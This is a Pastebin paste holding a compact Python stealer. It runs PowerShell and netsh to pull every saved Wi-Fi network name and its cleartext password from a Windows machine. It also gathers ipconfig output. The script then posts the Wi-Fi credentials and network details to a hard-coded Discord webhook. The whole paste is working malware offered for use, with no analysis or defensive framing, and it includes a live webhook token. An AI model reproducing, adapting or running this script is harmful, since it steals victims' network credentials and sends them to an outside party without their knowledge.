Advertisement
Lucifer_Gaming

Untitled

Jan 16th, 2023 (edited)
241
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.97 KB | None | 0 0
  1. import subprocess;import requests;result1 = subprocess.run(['powershell','(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | % {(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ SSID=$name;PASSWORD=$pass }} | Format-Table -AutoSize'], stdout=subprocess.PIPE);script2 = "cmd /c ipconfig";script3 = "cmd /c ipconfig /displaydns";output1 = result1.stdout;output2 = subprocess.check_output(script2).decode('utf-8');output3 = subprocess.check_output(script3).decode('utf-8');combined_output = f"WIFI PASSWORD : \n{output1} \n IPCONFIG \n{output2}";url = "https://discord.com/api/webhooks/1059101318872051743/Xw0GV9qzH62v2_L5EDzAg_ozyljEzE8ti37N5tdEvQ_AabBTGyGxXaQpfAPIksik_zHd";data = {'content': combined_output, 'username': 'GOD'};headers = {'Content-Type': 'application/json'};response = requests.post(url, json=data, headers=headers)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement